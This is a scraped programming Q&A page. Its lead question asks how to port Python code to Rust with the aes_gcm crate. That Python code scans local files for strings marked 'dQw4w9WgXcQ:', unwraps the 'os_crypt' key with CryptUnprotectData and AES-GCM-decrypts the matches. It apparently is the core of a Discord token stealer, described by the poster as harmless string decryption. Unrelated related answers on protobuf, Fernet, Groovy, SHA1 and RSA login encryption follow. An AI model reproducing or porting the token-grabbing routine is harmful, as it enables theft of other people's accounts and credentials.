I am trying to translate a long algorithm written in python to rust. The algorithm works by reading a key from a file, and then using that key to decrypt strings of text with AES - GCM. In python, this works perfectly with the Crypto.Cipher module. When searching for an equivalent crate in rust, I found aes_gcm, and tried following the example.
The password is stored encoded in base64, and when decoded, it converts to a non-UTF array of bytes, which I dont know if it is a source of the problem.
Firstly I tried creating a key first like in the example, via let key = Aes256Gcm::generate_key(password);, where password was a String, or a &str, none of which worked. By reading the errors, I discovered the key should be a GenericArray. When searching github for code example usage, I saw the only method for creating these is the GenericArray::from_slice(), which I tried by passing a Vector converted to a slice. This however yields the following error
thread 'main' panicked at 'assertion failed: `(left == right)`
left: `267`,
right: `32`'
267 is the length of the password, therefore, I re-read the original algorithm and discovered it aplied a function to the key before using it, particularly, master_key = CryptUnprotectData(master_key, None, None, None, 0)[1] from the win32crypt - CryptUnprotectData module. I also dont know how to translate this bit of code, but for testing purposes, I extracted the password the python algorithm yields, and inputed it directly to my rust code just as a test.
This time, an aead::Error is yielded, without further context. I dont know where im going wrong with all of this, and I don't have extensive knowledge of AES - GCM, so any help would be apreciated.
This is also the rust code which throws the errors. Note that all the ranges done to the original key are just translated from the python algorithm. The commented lines are past things attempted just as examples
fn decrypt_encrypted_strings(input_string: String, password: &Vec<u8>) -> String {
//let format_password: BlockRng = BlockRng::new(password);
//let key = Aes256Gcm::generate_key(password.into());
//let key = GenericArray::from_slice(&password[..]);
let key = GenericArray::from_slice(b"S\x06\x82VY\xe2E\x88\xa0\xc6\xe5ER?\xce!\xe1\xcf\x9b\xeb\xe3\xc1\xe39\xf0\x85\xa6\x97d\xc88\xe4"); // using password extracted by python algorithm directly
let cipher = Aes256Gcm::new(&key);
let nonce = Nonce::from_slice(&input_string[3..15].as_bytes());
let plaintext = match cipher.decrypt(nonce, &*input_string[15..].as_ref()) {
Ok(v) => v,
Err(e) => {
println!("error: {}", e);
return String::new()
}
};
println!("{:?}", plaintext);
return String::from(plaintext); // I know this is an error, but its not the problem
}
And this is where it is being called, the encoded strings are being parsed out of a file
for line in s.lines() {
if let mat = re.captures(line) {
if let Some(mat) = mat {
let text = decrypt_encrypted_strings(mat.get(0).unwrap().as_str().to_string(), &bytes); // here the string is being decrypted
if !decrypted_strings.contains(&text) {
decrypted_strings.push(text);
}
}
}
}
This is the python algorithm I am trying to translate
import os
import base64
import json
import winreg
from re import findall, match
import requests
from Crypto.Cipher import AES
from win32crypt import CryptUnprotectData
def grab_data():
# Initialization and searching of paths not shown as it is not relevant
regex = r"dQw4w9WgXcQ:[^.*\['(.*)'\].*$]*"
for line in [x.strip() for x in open(f'{path}\\{file_name}', errors='ignore').readlines() if x.strip()]:
for y in findall(regex, line):
plaintext_string = decrypt_password(base64.b64decode(y[:y.find('"')].split('dQw4w9WgXcQ:')[1]), get_master_key(<path_to_password_file>))
if not plaintext_string in strings:
strings.append(plaintext_string)
return strings
def decrypt_password(buff, master_key):
try:
# Initialization Vector
iv = buff[3:15]
payload = buff[15:]
cipher = AES.new(master_key, AES.MODE_GCM, iv)
decrypted_pass = cipher.decrypt(payload)
decrypted_pass = decrypted_pass[:-16].decode()
return decrypted_pass
except Exception:
return "Failed to decrypt password"
def get_master_key(path):
with open(path, "r", encoding="utf-8") as f:
local_state = f.read()
local_state = json.loads(local_state)
master_key = base64.b64decode(local_state["os_crypt"]["encrypted_key"])
master_key = master_key[5:]
master_key = CryptUnprotectData(master_key, None, None, None, 0)[1]
return master_key
data = grab_data()
Related
I want to deserialize an API response to a python object whose content-type is protobuf, I use the ParseFromString method to parse the HTTP response, but only get a number 23, print the response content directly is b'\n\x08Hi,py-pb'. So, how do I deserialize the HTTP response to the python object?
proto file content:
syntax = "proto3";
package greet;
// The greeting service definition.
service Greeter {
// Sends a greeting
rpc SayHello (HelloRequest) returns (HelloReply);
}
// The request message containing the user's name.
message HelloRequest {
string name = 1;
}
// The response message containing the greetings.
message HelloReply {
string message = 1;
}
python code:
# _*_ coding: utf8 _*_
from google.protobuf.json_format import ParseDict, MessageToJson
from protos.greet_pb2 import HelloRequest, HelloReply
import httpx
import asyncio
async def send_req():
req = {'name': 'py-pb'}
msg = ParseDict(req, HelloRequest())
print(msg)
print(type(msg))
print(msg.SerializeToString())
async with httpx.AsyncClient() as client:
resp = await client.post('http://localhost:5044/greet/Greeter/SayHello', data=msg.SerializeToString(),
headers={'Accept': 'application/protobuf', 'Content-Type': 'application/protobuf'})
print('=========response=========')
# print(resp.stream)
# print(resp.content)
# print(resp.text)
resp_msg = HelloReply().ParseFromString(resp.content)
# resp_msg = HelloReply().SerializeToString(resp.content)
print(resp_msg)
asyncio.run(send_req())
Versions:
Python - 3.10.5
google.protobuf - 4.21.2
Related answer:
ParseFromString is a method -- it does not return anything, but rather fills in self with the parsed content.
Reference:
Google Protocol Buffers (protobuf) in Python3 - trouble with ParseFromString (encoding?)
ParseFromString is an instance method. So you want, e.g.:
hello_reply = HelloReply()
hello_reply.ParseFromString(resp.content)
The docs include an example using ParseFromString.
Here's a repro:
from google.protobuf.json_format import ParseDict, MessageToJson
from greet_pb2 import HelloRequest, HelloReply
rqst = {'name': 'py-pb'}
msg = ParseDict(rqst, HelloRequest())
tx = msg.SerializeToString()
print(tx)
print(tx.hex())
resp = HelloReply()
resp.ParseFromString(tx)
print(resp)
Yields:
b'\n\x05py-pb'
0a0570792d7062
message: "py-pb"
You can take the binary as hex and plug it into protogen to decode it.
Field #1: 0A String Length = 5, Hex = 05, UTF8 = "py-pb"
Okay so this is my code:
#client.command(aliases=['d'], pass_context=True)
async def decrypt(ctx, arg, member=discord.Member):
key = b'xxxxxx'
f = Fernet(key)
decrypted = f.decrypt(arg)
channel = await member.create_dm()
await channel.send(f'Decrypted message: {decrypted}')
I insert a string after ctx, and it says TypeError: token must be bytes.
My arg is this (which is a byte, right?): b'gAAAAABgx22pwwjUHUA7KqV8jmZrXvocfC3VrHS_QrGCfCaEyj6f7cG1_K3NtbkADYiR4l8fq-DiqYJJk2k8n0jBUhDYsH2kNA=='
First of all, pass_context is deprecated. Second, no need to use create_dm; members are messageables, so you can do member.send. Third, discord.py interprets all arguments as strings by default. You'll need to use typehints (speaking of which, = is used to assign default values, not argument types). And fourth, this will send Decrypted message: b'meetmeatthepetstore', not Decrypted message: meetmeatthepetstore, so you'll want to decode the result. Here's the result:
#client.command(aliases=['d'])
async def decrypt(ctx, arg: bytes, member: discord.Member):
key = b'mycoolkey'
f = Fernet(key)
decrypted = f.decrypt(arg).decode('utf_8')
await member.send(f'Decrypted message: {decrypted}')
I'm trying to create a simple groovy script that will download some JSON from a website, pretty print it, and then save it to a file. I'm using this as an exercise to learn how to practice some functional concepts and I'm running into an issue I can't figure out. Basically, the last composed closure has multiple params and I can't figure out how to apply it. I'd like the end result to be a one liner that specifies the URL and file location to save the contents.
def getJson = { sourceUrl ->
def conn = new URL(sourceUrl).openConnection() as HttpURLConnection
return conn.inputStream.text
}
def prettyPrintJson = { json ->
return groovy.json.JsonOutput.prettyPrint(json)
}
def save = { data, fileLocation ->
new File(fileLocation).write(data)
}
def sync = getJson >> prettyPrintJson >> save
sync('https://jsonplaceholder.typicode.com/posts') // don't know how to specify the fileLocation
If you compose functions, your innermost function determines the
arguments. So you could provide the second argument to save via
rcurry. E.g.:
def sync = getJson >> prettyPrintJson >> save.rcurry("/tmp/out.json")
sync('https://jsonplaceholder.typicode.com/posts')
Or you would have to thread the second argument down the line until you
need it. E.g.:
def getJson = { sourceUrl, out ->
[sourceUrl.toURL().text, out]
}
def prettyPrintJson = { json, out ->
[groovy.json.JsonOutput.prettyPrint(json), out]
}
def save = { data, fileLocation ->
new File(fileLocation).write(data)
}
def sync = getJson >> prettyPrintJson >> save
sync('https://jsonplaceholder.typicode.com/posts', '/tmp/out.json')
I'd imagine, that by using a macro (since 2.5) there should be a chance to
create a threading macro (e.g. like in Clojure).
I'm pretty new to Groovy scripts. I'm using script to perform decodebase64 on string and do Messagedigest SHA1 on the data. I had managed to get below code but its not working.
import java.security.*;
def Message processData(Message message) {
//Body
def body = message.getBody(String.class);
String decoded = body.bytes.decodeBase64().toVarchar();
MessageDigest sha1 = MessageDigest.getInstance("SHA1");
byte[] digest = sha1.digest(decode.getBytes());
digest = new BigInteger(1, digest).toString(16);
message.setBody(digest);
return message;
}
Input would be:
kIAUQJVfhfLaTF2G4WouvCmZqA2zhFhujfqe3g1I4WBJobFrBWcXKG5XoPM1MQZF9UeoM0o99tf8FHVEkEIkN1s0Pw7vXyHurkbiY/Dic56Fqa+PovU9gU4US+oLHoEMSpoDMtrVtAskS0h6bCgv1Hph/1QHTlVeto/GIw0Obb9CtSqlfhoXL8ZqCBMlsWClF8q31PZaD4vt8ZRzjm/fnA1YsH8Fo5PfxdWFEVrsprvDyUHuRvr0CHbDyE7qszgYA+Ri0ylnulPEqOlsBvNpiXoiEtoOnFOjZrWmLCM6IjnR8b2efnTRQsELdYr3FjRbg1kLDz3xUDGBwTplF31CSw==
After decoding the input has unicode characters in it. I'm unable to get to it. After SHA1 the output would be of 40 char.
Can you guys please help.
Not sure what toVarchar() is doing, but I suspect it's at fault...
import java.security.MessageDigest
def msg = 'kIAUQJVfhfLaTF2G4WouvCmZqA2zhFhujfqe3g1I4WBJobFrBWcXKG5XoPM1MQZF9UeoM0o99tf8FHVEkEIkN1s0Pw7vXyHurkbiY/Dic56Fqa+PovU9gU4US+oLHoEMSpoDMtrVtAskS0h6bCgv1Hph/1QHTlVeto/GIw0Obb9CtSqlfhoXL8ZqCBMlsWClF8q31PZaD4vt8ZRzjm/fnA1YsH8Fo5PfxdWFEVrsprvDyUHuRvr0CHbDyE7qszgYA+Ri0ylnulPEqOlsBvNpiXoiEtoOnFOjZrWmLCM6IjnR8b2efnTRQsELdYr3FjRbg1kLDz3xUDGBwTplF31CSw=='
def digest = MessageDigest.getInstance('SHA1').digest(msg.decodeBase64())
def result = new BigInteger(1, digest).toString(16)
println result
Gives me
17a88df21eb9ad8669864f3ccdd435bfc1e054aa
Recently I am doing something like auto-login with python, but i am a freshman in this area.
I want to login to www.jd.com, and after fetch the post data with Chrome, I found this
uuid:37ac1f08-0ed9-4e0d-a424-76c31d566915
eid:ZLTFMPUYPUVH3AQWGB3I4YEJ5YR4EQLSXV7YKAX27FNOY3CPTY37EVDW755A2DUGP6GKOFADCU7JKKYCAMYM3QHAS4
fp:b871dc2da5cf2bf85a6a5a56259e28e3
_t:_ntscXrr
loginType:f
loginname:xxxxxxx
nloginpwd:RAc2wPFCr7jwP5ocHh295pGBuZL9xUYzlWh108xqsp6o90x6KiHVTbw3Yn6NRz8YMDp%2BOHlT58oinO%2FuLwvysmD3XKazm0MYEulWseG2gotduYTywA6%2FrO1hUskfVjHuPoLu8r3stjNRQ0dnKF%2BvIxganMiDEUTiUmliAGQqnWc%3D
chkRememberMe:
authcode:
pubKey:MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDC7kw8r6tq43pwApYvkJ5laljaN9BZb21TAIfT%2FvexbobzH7Q8SUdP5uDPXEBKzOjx2L28y7Xs1d9v3tdPfKI2LR7PAzWBmDMn8riHrDDNpUpJnlAGUqJG9ooPn8j7YNpcxCa1iybOlc2kEhmJn5uwoanQq%2BCA6agNkqly2H4j6wIDAQAB
sa_token:B68C442BE645754F33277E701208059007998C0A52BF7A8EAD6AD256C8D009D929F000C9DF4192A57234E3EA6F615E156C81EFA53D580517BB9357FB9516A01E25761124AE9AF7B3CFA3C38D38484A73343117232D8C7101034817F5DC7B6F52055B86745C3B42647752AEED916BA60EBBC84732E823766B234DC3A36C47691794488C0EAF9A459DC55C70B43B5F9AE3A233810AAC8D52FE65CB29B0C97A162039D4626DD8AFF4ECE8ABDB2411B3D4509C293CD344C3BAF14F059FF462D18C8761724FAF12E2BF3C590E14AE8198C7542C8A575F7FAD5B021BC1A4C852AB71E972157546E442CF0E9E7ABA667A02DD8386375595080A9E9A1B232DCE0944244FDC6AB4A499CC881E1BB8BA47831877F6AD6CF02FFF5671C60461E90517D1761B40FD6CA361677595F096C4E5250D72FDCC6E1FF89771AE1B0F1C89B7DCAFB88BD6F068F47850A7EBC747F35939552C7E32B28E6D347D5AEB78B9334779D4896431CCA166537C67690687B1DDA7CC9881914D2A9F25CAF2B80EB8E2D0DFED09EBB766287A6E34179DCC9530DF3D4FCD28C17845571E587FFA3FD0B69E3ACBC80FCBCE115EFD6CBC87BB8ED4D95AAAA680
seqSid:1777115819395099100
Here the password is encrypted, and later I found this js code
function getEntryptPwd(pwd){
var pubKey = $('#pubKey').val();
if(!pwd || !pubKey || !SysConfig.encryptInfo){
return pwd;
}
var encrypt = new JSEncrypt();
encrypt.setPublicKey(pubKey);
return encrypt.encrypt(pwd);
}
However, I don't know how to do the same thing in python, could anyone please tell me how to this?
Any suggestion would be greatly appreciated.
here is my way to encrypt the password using pubkey you get from the html.
Request the login url to get the pubkey (also other informations).
Install a third-party module rsa.
pip install rsa
Run the following script to encrypt your password based on pubkey.
And you can find my code here. :)
<input type="hidden" name="pubKey" id="pubKey" value="MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDC7kw8r6tq43pwApYvkJ5laljaN9BZb21TAIfT/vexbobzH7Q8SUdP5uDPXEBKzOjx2L28y7Xs1d9v3tdPfKI2LR7PAzWBmDMn8riHrDDNpUpJnlAGUqJG9ooPn8j7YNpcxCa1iybOlc2kEhmJn5uwoanQq+CA6agNkqly2H4j6wIDAQAB" class="hide"/>
(admin) $ cat encrypt.py
import rsa
import base64
import os
def bytes2hex(s):
return s.decode()
def bytes2base64(s):
return bytes2hex(base64.standard_b64encode(s))
class RSA():
def __init__(self):
# self.pubkey = self.load_pub_key(pubkey) if pubkey else None
self.pubkey = None
pass
def form_pem_pub_key(self, keystr,):
"""
Fortmat a public key string to PEM format, in which start with
BEGIN PUBLIC KEY and end with END PUBLIC KEY.
Parameters:
keystr -- the public key string of PEM-encoded(base64)
Returns:
-- Formatted public key string
"""
import textwrap
line_len = 64
begin = ['-----BEGIN PUBLIC KEY-----']
end = ['-----END PUBLIC KEY-----']
return '\n'.join(begin + textwrap.wrap(keystr, line_len) + end)
def check_pem_key_str(self, keystr,):
return False
pass
def load_pem_pub_key(self, pubkey,):
if isinstance(pubkey, str):
keystr = pubkey if self.check_pem_key_str(pubkey) else self.form_pem_pub_key(pubkey)
self.pubkey = rsa.PublicKey.load_pkcs1_openssl_pem(keystr)
def encrypt(self, msg):
if not self.pubkey:
raise ValueError('Pubic key is empty, please load it first.')
# convert string or other type to bytes
msg = msg if isinstance(msg, bytes) else str(msg).encode()
return bytes2base64(rsa.encrypt(msg, self.pubkey))
def encrypt_password(pubkey, password):
rsa = RSA()
rsa.load_pem_pub_key(pubkey)
return rsa.encrypt(password)
password = 'test'
pubkey = 'MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDC7kw8r6tq43pwApYvkJ5laljaN9BZb21TAIfT/vexbobzH7Q8SUdP5uDPXEBKzOjx2L28y7Xs1d9v3tdPfKI2LR7PAzWBmDMn8riHrDDNpUpJnlAGUqJG9ooPn8j7YNpcxCa1iybOlc2kEhmJn5uwoanQq+CA6agNkqly2H4j6wIDAQAB'
print(encrypt_password(pubkey, password))
(admin) $ python encrypt.py
nQJvsRspY+zAnywU9YsSTNHb/OoNOLLbADsenBwOlDHnv//UUPpBidA4n4pN7Frm0iIRQAJT1hRNAu/tASZjihtWiOYuwD+XFos2Tmk+SLRIc6VvqvAL9CJFLrzbIS3tgbx9vkyM30Qy6ENFOyOcpR7nV93xY82F1dB7bRsuNGU=